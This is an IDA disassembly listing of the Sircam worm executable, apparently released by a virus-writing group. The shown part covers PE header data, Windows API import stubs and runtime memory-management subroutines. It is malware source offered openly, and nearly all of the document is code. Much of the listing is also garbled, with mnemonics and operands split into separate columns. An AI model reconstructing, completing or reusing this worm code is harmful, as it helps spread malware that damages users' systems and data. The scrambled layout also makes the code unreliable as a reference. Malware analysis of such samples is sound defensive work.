sircam.asm Fri Aug 10 12:42:44 2001 1 ;Disassemblered By Dr.T/ Black Cat VIrii Group 2001; ; www.virology.f2s.com; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º This file is generated by The Interactive Disassembler (IDA) º º Copyright (c) 1999 by DataRescue sa/nv, <[email protected]> º º Licensed to: Gary Colton, 1 user, advanced, 05/2000 º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ File Name : D:\W32[1].Sircam.exe Format : Portable executable for IBM PC (PE) Section 1. (virtual address 00001000) Virtual size : 0001A790 ( 108432.) Section size in file : 0001A800 ( 108544.) Offset to raw data for section: 00000400 Flags 60000020: Text Executable Readable Alignment : 16 bytes ? model flat ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; Segment type: Pure code CODE segment para public ’CODE’ use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing off_401000 dd offset dword_401004 ; DATA XREF: CODE:0040624A\031o ; CODE:004095FF\031o ... dword_401004 dd 7453060Ah, 676E6972h ; DATA XREF: CODE:00401000\030o off_40100C dd offset dword_401058 ; DATA XREF: CODE:0040621C\031o ; CODE:00406C44\031o ... dd 7 dup(0) dd offset dword_401058 dd 4, 0 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_401058 dd 624F5407h, 7463656Ah ; DATA XREF: CODE:0040100C\030o ; CODE:0040102C\030o ... off_401060 dd offset dword_401064 ; DATA XREF: CODE:0040BA01\031o dword_401064 dd 4F540707h, 63656A62h ; DATA XREF: CODE:00401060\030o db 74h dd offset dword_401058 dd 0, 53060000h, 65747379h db 6Dh, 2 dup(0) off_401080 dd offset dword_401084 ; DATA XREF: CODE:0040BA29\031o dword_401084 dd 5549080Fh, 6F6E6B6Eh, 6E77h, 10000h, 0, 0C0000000h ; DATA XREF: CODE:00401080\030o dd 0, 6460000h, 74737953h, 6D65h ; [00000006 BYTES: COLLAPSED FUNCTION j_CloseHandle. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_CreateFileA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetFileType. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemTime. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetFileSize. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_GetStdHandle. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_RaiseException. PRESS KEYPAD "+" TO EXPAND] align 4 sircam.asm Fri Aug 10 12:42:44 2001 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED AND] align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED align 4 ; [00000006 BYTES: COLLAPSED 2 FUNCTION j_ReadFile. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_RtlUnwind. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetEndOfFile. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SetFilePointer. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_UnhandledExceptionFilter. PRESS KEYPAD "+" TO EXP FUNCTION j_WriteFile. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_CharNextA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_ExitProcess. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_MessageBoxA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FindClose. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FindFirstFileA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_FreeLibrary. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetLastError. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetProcAddress. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetStartupInfoA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_GetThreadLocale. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_LoadLibraryExA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_LoadStringA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_lstrcpyA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_lstrcpynA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_lstrlenA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_MultiByteToWideChar. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_RegCloseKey. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_VirtualQuery. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SysAllocStringLen. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SysReAllocStringLen. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SysFreeString. PRESS KEYPAD "+" TO EXPAND] FUNCTION j_SysStringLen. PRESS KEYPAD "+" TO EXPAND] sircam.asm Fri Aug 10 12:42:44 2001 3 align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_VariantClear. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_VariantCopyInd. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_VariantChangeTypeEx. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401214 proc near var_18 var_14 = byte ptr -18h = word ptr -14h push add mov push call test jz movzx ebx esp, 0FFFFFFBCh ebx, 0Ah esp j_GetStartupInfoA [esp+44h+var_18], 1 short loc_40122F ebx, [esp+44h+var_14] mov add pop retn endp eax, ebx esp, 44h ebx loc_40122F: sub_401214 ; CODE XREF: sub_405880+C6\031p ; CODE XREF: sub_401214+14\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_LocalAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_LocalFree. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualFree. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_InitializeCriticalSection. PRESS KEYPAD "+" TO EX PAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_EnterCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_LeaveCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND ] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401278 proc near ; CODE XREF: sub_4012D0+6\031p push ebx push esi mov esi, offset dword_41E44C cmp dword ptr [esi], 0 jnz short loc_4012BE push 644h push 0 call j_LocalAlloc mov ecx, eax test ecx, ecx jnz short loc_40129B xor eax, eax pop esi sircam.asm Fri Aug 10 12:42:44 2001 4 pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40129B: mov mov mov xor ; CODE XREF: sub_401278+1C\030j eax, ds:dword_41E448 [ecx], eax ds:dword_41E448, ecx edx, edx mov add lea mov mov mov inc cmp jnz ; CODE XREF: sub_401278+44\031j eax, edx eax, eax eax, [ecx+eax*8+4] ebx, [esi] [eax], ebx [esi], eax edx edx, 64h short loc_4012AA loc_4012AA: loc_4012BE: sub_401278 ; CODE XREF: sub_401278+A\030j mov mov mov pop pop retn endp eax, [esi] edx, [eax] [esi], edx esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4012C8 proc near sub_4012C8 mov mov retn endp ; CODE XREF: sub_401904+33\031p ; sub_401904+3D\031p ... [eax], eax [eax+4], eax ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4012D0 proc near ; CODE XREF: sub_401318+5E\031p ; sub_40138C+6F\031p ... push ebx push esi mov esi, edx mov ebx, eax call sub_401278 test eax, eax jnz short loc_4012E4 xor eax, eax pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4012E4: ; CODE XREF: sub_4012D0+D\030j mov mov mov mov mov edx, [esi] [eax+8], edx edx, [esi+4] [eax+0Ch], edx edx, [ebx] sircam.asm sub_4012D0 Fri Aug 10 12:42:44 2001 mov mov mov mov mov pop pop retn endp 5 [eax], edx [eax+4], ebx [edx+4], eax [ebx], eax al, 1 esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401300 proc near sub_401300 mov mov mov mov mov mov mov retn endp ; CODE XREF: sub_401318+2C\031p ; sub_401318+49\031p ... edx, [eax+4] ecx, [eax] [edx], ecx [ecx+4], edx edx, ds:dword_41E44C [eax], edx ds:dword_41E44C, eax ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401318 proc near push push push push push mov mov mov mov mov mov mov mov mov ; CODE XREF: sub_4016C4+6C\031p ; sub_401754+62\031p ... ebx esi edi ebp ecx esi, ecx [esp+0], edx ebp, eax ebx, [ebp+0] eax, [esp+0] edx, [eax] [esi], edx edx, [eax+4] [esi+4], edx loc_401334: ; CODE XREF: sub_401318+58\031j mov edi, [ebx] mov eax, [ebx+8] mov edx, eax add edx, [ebx+0Ch] cmp edx, [esi] jnz short loc_401356 mov eax, ebx call sub_401300 mov eax, [ebx+8] mov [esi], eax mov eax, [ebx+0Ch] add [esi+4], eax jmp short loc_40136C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401356: ; CODE XREF: sub_401318+28\030j mov add cmp jnz mov call edx, [esi] edx, [esi+4] eax, edx short loc_40136C eax, ebx sub_401300 sircam.asm Fri Aug 10 12:42:44 2001 mov add eax, [ebx+0Ch] [esi+4], eax loc_40136C: ; CODE XREF: sub_401318+3C\030j ; sub_401318+45\030j mov cmp jnz mov mov call test jnz xor mov ebx, edi ebp, ebx short loc_401334 edx, esi eax, ebp sub_4012D0 al, al short loc_401383 eax, eax [esi], eax pop pop pop pop pop retn endp edx ebp edi esi ebx loc_401383: sub_401318 6 ; CODE XREF: sub_401318+65\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40138C proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push push push push add mov mov ; CODE XREF: sub_401878+7A\031p ; sub_401C60+8A\031p ebx esi edi ebp esp, 0FFFFFFF8h ebx, eax edi, ebx loc_401397: ; CODE XREF: sub_40138C+84\031j mov esi, [edx] mov eax, [ebx+8] cmp esi, eax jb short loc_40140C mov ecx, esi add ecx, [edx+4] mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp ja short loc_40140C cmp esi, eax jnz short loc_4013CD mov eax, [edx+4] add [ebx+8], eax mov eax, [edx+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_401408 mov eax, ebx call sub_401300 jmp short loc_401408 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4013CD: ; CODE XREF: sub_40138C+24\030j sircam.asm Fri Aug 10 12:42:44 2001 7 mov ecx, [edx] mov esi, [edx+4] add ecx, esi mov edi, eax add edi, [ebx+0Ch] cmp ecx, edi jnz short loc_4013E2 sub [ebx+0Ch], esi jmp short loc_401408 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4013E2: ; CODE XREF: sub_40138C+4F\030j mov ecx, [edx] add ecx, [edx+4] mov [esp+8+var_8], ecx sub edi, ecx mov [esp+8+var_4], edi mov edx, [edx] sub edx, eax mov [ebx+0Ch], edx mov edx, esp mov eax, ebx call sub_4012D0 test al, al jnz short loc_401408 xor eax, eax jmp short loc_401414 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401408: ; CODE XREF: sub_40138C+36\030j ; sub_40138C+3F\030j ... mov al, 1 jmp short loc_401414 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40140C: ; CODE XREF: sub_40138C+12\030j ; sub_40138C+20\030j mov cmp jnz xor ebx, [ebx] edi, ebx short loc_401397 eax, eax loc_401414: sub_40138C ; CODE XREF: sub_40138C+7A\030j ; sub_40138C+7E\030j pop pop pop pop pop pop retn endp ecx edx ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40141C proc near ; CODE XREF: sub_4016C4+5C\031p push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_401432 mov esi, 100000h jmp short loc_40143E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_401432: ; CODE XREF: sub_40141C+D\030j add and esi, 0FFFFh esi, 0FFFF0000h mov push push push push call mov mov test jz mov mov call test jnz push push mov push call xor mov ; CODE XREF: sub_40141C+14\030j [ebx+4], esi 1 2000h esi 0 j_VirtualAlloc edi, eax [ebx], edi edi, edi short loc_40147B edx, ebx eax, offset dword_41E450 sub_4012D0 al, al short loc_40147B 8000h 0 eax, [ebx] eax j_VirtualFree eax, eax [ebx], eax loc_40143E: loc_40147B: sub_40141C 8 ; CODE XREF: sub_40141C+3A\030j ; sub_40141C+4A\030j pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_401480 proc near push push push push mov mov mov mov push push push push call mov mov test jnz add and mov push push push push call ; CODE XREF: sub_401754+4C\031p ; sub_401754+93\031p ebx esi edi ebp ebx, ecx esi, edx ebp, eax dword ptr [ebx+4], 100000h 4 2000h 100000h ebp j_VirtualAlloc edi, eax [ebx], edi edi, edi short loc_4014CA esi, 0FFFFh esi, 0FFFF0000h [ebx+4], esi 4 2000h esi ebp j_VirtualAlloc sircam.asm Fri Aug 10 12:42:44 2001 mov [ebx], eax cmp jz mov mov call test jnz push push mov push call xor mov ; CODE XREF: sub_401480+29\030j dword ptr [ebx], 0 short loc_4014F2 edx, ebx eax, offset dword_41E450 sub_4012D0 al, al short loc_4014F2 8000h 0 eax, [ebx] eax j_VirtualFree eax, eax [ebx], eax loc_4014CA: loc_4014F2: sub_401480 9 ; CODE XREF: sub_401480+4D\030j ; sub_401480+5D\030j pop pop pop pop retn endp ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4014F8 proc near var_14 var_10 var_C var_8 var_4 = = = = = dword dword dword dword dword ptr ptr ptr ptr ptr ; CODE XREF: sub_4016C4+7E\031p ; sub_401754+7A\031p ... -14h -10h -0Ch -8 -4 push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+14h+var_10], ecx mov [esp+14h+var_14], edx mov [esp+14h+var_C], 0FFFFFFFFh xor edx, edx mov [esp+14h+var_8], edx mov ebp, eax mov eax, [esp+14h+var_14] add eax, ebp mov [esp+14h+var_4], eax mov ebx, ds:dword_41E450 jmp short loc_401578 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401527: mov mov cmp ja mov add cmp ja cmp ; CODE XREF: sub_4014F8+86\031j edi, [ebx] esi, [ebx+8] ebp, esi short loc_401576 eax, esi eax, [ebx+0Ch] eax, [esp+14h+var_4] short loc_401576 esi, [esp+14h+var_C] sircam.asm Fri Aug 10 12:42:44 2001 jnb mov short loc_401545 [esp+14h+var_C], esi mov add cmp jbe mov ; CODE XREF: sub_4014F8+47\030j eax, esi eax, [ebx+0Ch] eax, [esp+14h+var_8] short loc_401554 [esp+14h+var_8], eax push push push call test jnz mov ; CODE XREF: sub_4014F8+56\030j 8000h 0 esi j_VirtualFree eax, eax short loc_40156F ds:dword_41E42C, 1 mov call eax, ebx sub_401300 loc_401545: loc_401554: loc_40156F: ; CODE XREF: sub_4014F8+6B\030j loc_401576: ; CODE XREF: sub_4014F8+36\030j ; sub_4014F8+41\030j mov ebx, edi cmp jnz mov xor mov cmp jz mov mov mov mov sub mov mov ; CODE XREF: sub_4014F8+2D\030j ebx, offset dword_41E450 short loc_401527 eax, [esp+14h+var_10] edx, edx [eax], edx [esp+14h+var_8], 0 short loc_4015A8 eax, [esp+14h+var_10] edx, [esp+14h+var_C] [eax], edx eax, [esp+14h+var_8] eax, [esp+14h+var_C] edx, [esp+14h+var_10] [edx+4], eax loc_401578: loc_4015A8: sub_4014F8 10 ; CODE XREF: sub_4014F8+95\030j add pop pop pop pop retn endp esp, 14h ebp edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4015B0 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push push push push add mov mov ; CODE XREF: sub_4016C4+2D\031p ; sub_401754+E6\031p ebx esi edi ebp esp, 0FFFFFFF4h [esp+0Ch+var_8], ecx [esp+0Ch+var_C], edx sircam.asm Fri Aug 10 12:42:44 2001 11 mov edx, eax mov ebp, edx and ebp, 0FFFFF000h add edx, [esp+0Ch+var_C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+0Ch+var_4], edx mov eax, [esp+0Ch+var_8] mov [eax], ebp mov eax, [esp+0Ch+var_4] sub eax, ebp mov edx, [esp+0Ch+var_8] mov [edx+4], eax mov esi, ds:dword_41E450 jmp short loc_401632 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4015F6: ; CODE XREF: sub_4015B0+88\031j mov mov add cmp jbe mov ebx, [esi+8] edi, [esi+0Ch] edi, ebx ebp, ebx short loc_401604 ebx, ebp cmp jbe mov ; CODE XREF: sub_4015B0+50\030j edi, [esp+0Ch+var_4] short loc_40160E edi, [esp+0Ch+var_4] loc_401604: loc_40160E: ; CODE XREF: sub_4015B0+58\030j cmp edi, ebx jbe short loc_401630 push 4 push 1000h sub edi, ebx push edi push ebx call j_VirtualAlloc test eax, eax jnz short loc_401630 mov eax, [esp+0Ch+var_8] xor edx, edx mov [eax], edx jmp short loc_40163A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_401630: ; CODE XREF: sub_4015B0+60\030j ; sub_4015B0+74\030j mov esi, [esi] cmp jnz ; CODE XREF: sub_4015B0+44\030j esi, offset dword_41E450 short loc_4015F6 loc_401632: loc_40163A: sub_4015B0 ; CODE XREF: sub_4015B0+7E\030j add pop pop pop pop retn endp esp, 0Ch ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 12 sub_401644 proc near ; CODE XREF: sub_401878+2E\031p push ebx push esi push edi push ebp push ecx mov ebx, eax mov esi, ebx add esi, 0FFFh and esi, 0FFFFF000h mov [esp+0], esi mov ebp, ebx add ebp, edx and ebp, 0FFFFF000h mov eax, [esp+0] mov [ecx], eax mov eax, ebp sub eax, [esp+0] mov [ecx+4], eax mov esi, ds:dword_41E450 jmp short loc_4016B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40167B: ; CODE XREF: sub_401644+75\031j mov mov add cmp jnb mov ebx, [esi+8] edi, [esi+0Ch] edi, ebx ebx, [esp+0] short loc_40168B ebx, [esp+0] cmp jnb mov ebp, edi short loc_401691 edi, ebp cmp 